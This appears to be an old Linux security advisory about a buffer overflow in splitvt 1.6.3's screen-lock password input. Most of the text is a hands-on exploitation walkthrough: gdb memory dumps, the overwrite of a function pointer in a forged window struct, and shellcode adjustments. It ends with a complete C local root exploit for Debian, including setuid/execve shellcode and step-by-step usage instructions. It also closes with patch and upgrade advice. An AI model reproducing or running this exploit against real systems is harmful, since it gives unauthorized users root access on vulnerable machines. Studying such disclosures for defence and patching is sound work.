COMMAND
splitvt
SYSTEMS AFFECTED
Linux
PROBLEM
'syzop' found following. Splitvt 1.6.3 contains a buffer
overflow, if you have installed splitvt suid root (like
Debian/Redhat/etc, btw not slackware).
The problem is in lock.c in lock_screen:
if (cnt < BUFSIZ-1) *(nextbuf++) = c;
This looks ok, but cnt is never increased. nextbuf is set to the
buffer where the data should be stored, 1st time it's entered1
(password input), 2nd time it's entered2 (again password to
verify), and:
static char entered1[BUFSIZ], entered2[BUFSIZ];
BUFSIZ = 8192.
Ok, let's see what gets overwritten... we start splitvt, ctrl+o,
x:
Enter password: blah
Re-enter password: xxxxx<around 13.000 of x's (until we crash)>
Program received signal SIGSEGV, Segmentation fault.
0x400b5786 in getc ()
(gdb) backtrace
#0 0x400b5786 in getc ()
#1 0x804e028 in event_getc (X_event=0xbfffdb0c) at vtmouse.c:194
#2 0x8049d8c in main (argc=1, argv=0xbffffc14) at splitvt.c:387
#3 0x400847e2 in ()
Don't pay too much attention to the point of the crash, the only
thing we now know is we can't overwrite the return address (or
not enough), that's very logical with a function which is called
for every single character. The backtrace doesn't seem to be
interessting, possibly we have overwritten some important var or
something. We must search for another way to jump to our exploit
code...
Let's see how entered2 and the memory after it looks like:
0x805c940 <entered2>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805c950 <entered2+16>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805c960 <entered2+32>: 0x78787878 0x78787878 0x78787878 0x78787878
-- snip --
0x805e930 <entered2+8176>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805e940 <marked>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805e950 <on+8>: 0x78787878 0x78787878 0x78787878 0x78787878
etc etc, until:
0x805fa00 <next+128>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa10 <next+144>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa20 <tty_mode+4>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa30 <curwin>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa40 <physical+12>: 0x78787878 0x40141a78 0x40141b00 0x0805fa58
After further investigation the following vars are overwritten:
marked, oldattr, on, selbuf, master_fd, next, tty_mode, curwin, physical
Let's see...
cut-paste.c:14:static int marked, oldattr;
cut-paste.c:24:int *oldattr;
cut-paste.c:215:static char selbuf[4096];
misc.c:128:int master_fd;
vtmouse.c:163: static char prefix[8], *next;
misc.c:426:struct termio tty_mode; /* Save tty mode here */
vt100.c:31:window *curwin;
vt100.c:34:struct physical physical;
Only the last two seem interessting:
typedef struct {
position cursor; /* The current position of cursor */
int rows; /* The number of rows in window */
int cols; /* The number of cols in window */
int row_offset; /* The physical offset of upper edge */
int scr_upper; /* Upper limit of scroll region */
int scr_lower; /* Lower limit of scroll region */
void (*process_char)(); /* Next output processing function */
enum keystate key_state; /* For vt100 keypad */
unsigned char charset[NCHARSETS]; /* Current character set */
unsigned char textattr; /* Current text attributes */
int esc_param[MAX_PARAMS], *cur_param; /* Escape parameters */
int param_idx; /* Current index into esc_param */
int **videomem; /* Storage for the virtual screen */
int *tabstops; /* Tabstops in the columns */
position saved_cursor; /* Saved cursor position */
unsigned char saved_textattr; /* Saved text attributes */
} window;
struct physical {
window *subwins[2]; /* The smaller, split sub-windows */
int rows; /* The number of rows on the screen */
int cols; /* The number of cols on the screen */
};
Hey, that looks nice! curwin->process_char... 'Next output
processing function'. All we have to do is create our own window
struct, put the address of our-window-struct into *curwin and put
a pointer in our-window-structure.process_char to the exploit
code. So:
- Program reads curwin
- Program reads process_char of our-window-struct
- Program executes the function
Let's first see how many characters we exactly need for our
overflow, so we aren't going to overflow unneccesary characters
(we don't want to segfault):
0x0805fa50 (curwin) - 0x0805c960 (buffer2) = 0x30f0 (12.528)
Nice, so we want curwin to point to the begin of buffer2,
0x0805c960, let's test:
(sleep 45; echo blaaaaaaaaa)
ctrl+o, x, 'enter password' bla,
'enter password again', [0x40](100x) + [0x60 0xc9 0x05 0x08](12.428x).
Program received signal SIGSEGV, Segmentation fault.
0x40404040 in ?? ()
(gdb)
Wow! Our exploit will look like:
<window-struct><NOPs><shellcode><pointers-to-window-struct>
'syzop' coded the exploit in c, using standard shellcode, then put
the exploit output in a file, ftp'd it to windows (nobody is
perfect) box and copy&pasted it using putty. But every time he
tried to paste the 1st line he got 'Program exited normally.', so
there was a special character in the exploit somewhere and after
tracing he found out it was 0xFF. Great, now we've to create
shellcode.
There are 3 0xFF's... after disassembling we see this is because
of the call -0x24 back, the shellcode does a jmp +0x1f and a call
-0x24 to find out where the string /bin/sh is located. This
isn't necessary since we know the exact location of the '/bin/sh'
string. After a little change and removed the call, we try
again... Wow we got a shell, but after a 'whoami' we aren't
happy anymore.. no root, mmmm. Ofcourse, we have to do a
setuid(0) first... After finding out how to do a setuid(0) in
assembly language and again coding shellcode we have a new
exploit...
sh-2.02# root
sh-2.02# uid=0(root) gid=1000(syzop) egid=0(root) groups=1000(syzop)
sh-2.02#
The terminal is screwed up (just a 'reset' and it's ok), however
we got root!
Now test it at the debian binary splitvt (latest version,
1.6.3-4). First we have to find out the address of the buffer
again, let's see how we could do this...
--[lock.c:50]
if (strcmp(entered1, entered2) == 0) {
sprintf(message,
"Screen locked by %s. Enter password: ",
Nice.
ROOT@P166:/# gdb splitvt
GNU gdb 4.17.m68k.objc.threads.hwwp.fpu.gnat
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-pc-linux-gnu"...
(no debugging symbols found)...
(gdb) break strcmp
Breakpoint 1 at 0x8048fe4
(gdb) ignore 1 25
Will ignore next 25 crossings of breakpoint 1.
(gdb) run
splitvt is started.. ctrl+x, o, la, li, la, li, la, li etc.. ah, in the end:
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x40080e14 in strcmp ()
(gdb) disassemble strcmp
Dump of assembler code for function strcmp:
0x40080e10 <strcmp>: pushl %ebp
0x40080e11 <strcmp+1>: movl %esp,%ebp
0x40080e13 <strcmp+3>: pushl %esi
0x40080e14 <strcmp+4>: movl 0x8(%ebp),%esi
0x40080e17 <strcmp+7>: movl 0xc(%ebp),%edx
0x40080e1a <strcmp+10>: leal 0x0(%esi),%esi
(gdb) break *0x40080e17
Breakpoint 2 at 0x40080e17
(gdb) c
Continuing.
Breakpoint 2, 0x40080e17 in strcmp ()
(gdb) info register esi
esi: 0x80572e4 134574820
So entered2 is at 0x80572e4. Working exploit for Debian follows
below (you have to change it for redhat). You have to paste the
stuff exactly, so using your mouse in (normal) console Linux to
copy&paste won't work for several reasons.
/*
Local exploit for Debian splitvt 1.6.3-4 - by Syzop
Thanks to aleph1 for writing the article about
buffer overflows in phrack 49 :).
Greetz: Terror, Scorpion, ^Stealth^, Jornx, Multani,
and all other ppl of The^Alliance :)
How to use the exploit
-----------------------
1. Use: ./splitexp >expcode to put the exploitcode into 'expcode'.
2. Start splitvt
3. Enter something like 'sleep 60; echo lalala'
4. Ctrl+O, x, 'Enter password' bla
5. Then splitvt says 'Re-enter password', this is the moment
you have to follow the instructions in 'expcode' to paste
the exploitcode to splitvt (don't press enter, see 6).
6. Wait until the sleep is done (or kill 'sleep' yourself from
_another_ terminal).
7. You now got a rootshell,
type 'reset' to get a normal terminal :).
IMPORTANT NOTES!!
------------------
NOTE 1: You have to paste the data exactly, so just a paste with the mouse
won't work since the shellcode also contains 08's (backspaces),
So using mouse copy&paste in normal linux console mode doesn't work,
I used windows with 'putty'
NOTE 2: If you ftp the exploit code to a windows box, be sure to transfer
the file in ASCII mode :).
*/
#include <stdlib.h>
#include <stdio.h>
#define NOP 0x90
/*
The shellcode: setuid(0); execve("/bin/sh",NULL); exit(0);.
Pointer to /bin/sh is static, so filled with 0x90s here,
will be changed to an address at runtime.
*/
char shellcode[] =
"\x31\xc0\x50\x89\xc3\xb0\x17\xcd"
"\x80\xbe\x90\x90\x90\x90\x89\x76"
"\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80/bin/sh.";
void main(int argc, char *argv[]) {
char *buff, *ptr;
char *pointerz;
long *addr_ptr, addr;
int i;
long addr1=0x80592e4; // pointer to the middle of our window-struct
long addr2; // pointer to position after 25% of the NOPs
long addr3; // pointer to '/bin/sh' string
fprintf(stderr,"Splitvt exploit by Syzop\n\n");
if (argc > 1) addr1 = atol(argv[1]);
addr2=addr1+350;
addr3=addr1+444;
if (!(buff = malloc(1500))) {
printf("Can't allocate memory.\n");
exit(0);
}
// set offset-to-/bin/sh in shellcode
ptr = shellcode+10;
addr_ptr = (long *) ptr;
*(addr_ptr++) = addr3;
// 0-300: the window struct
// first filling with 0x40's
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < 300; i+=4)
*(addr_ptr++) = 0x40404040;
// set pointer to addr2 in curwin->process_char
ptr = buff + 28;
addr_ptr = (long *) ptr;
*(addr_ptr++) = addr2; // this is the pointer to addr2
for (i = 300; i < 528; i++) // 300-END NOPs
buff[i] = NOP;
// 400-...: shellcode
ptr = buff + 400;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[528] = '\0';
// Create the pointers-to-addr1-string.
pointerz=(char *)malloc(1004);
ptr = pointerz;
addr_ptr = (long *) ptr;
for (i = 0; i < 1000; i+=4) // 0-300: the window-structure
*(addr_ptr++) = addr1;
pointerz[1000]=0;
printf("Paste this 1x:\n%s\n\nAnd this 12x:\n%s\n", buff, pointerz);
}
On SuSE splitvt isn't installed setuid on SuSE Linux. So how
does it work? If it's not setuid, and has not been patched to
use devpts, it has no way of chowning the tty's it uses. That
means that when you run splitvt, you are typing into a shell that
is connected to a tty that is (typically) mode:
crw-rw-rw- 1 root tty 3, 176 Jun 14 14:53 /dev/ttya0
Thus, third parties can eg, write escape sequences to the
terminal, and possibly remap keystrokes to do evil things. And
they can certianly capture your keystokes to that terminal.
SOLUTION
You should upgrade to 1.6.4. Debian users should look following
URL:
http://www.debian.org/security/2000/20000605a
Note that in addition to the above fix, version 1.6.4-3 of
splitvt in Debian is no longer suid root, just sgid utmp.
Redhat did respond with a "that package comes from our 'contrib'
section, which we do not maintain", so there isn't a new rpm
(yet?), but you could download the source and compile 1.6.4
yourself. Source:
http://www.devolution.com/~slouken/projects/splitvt/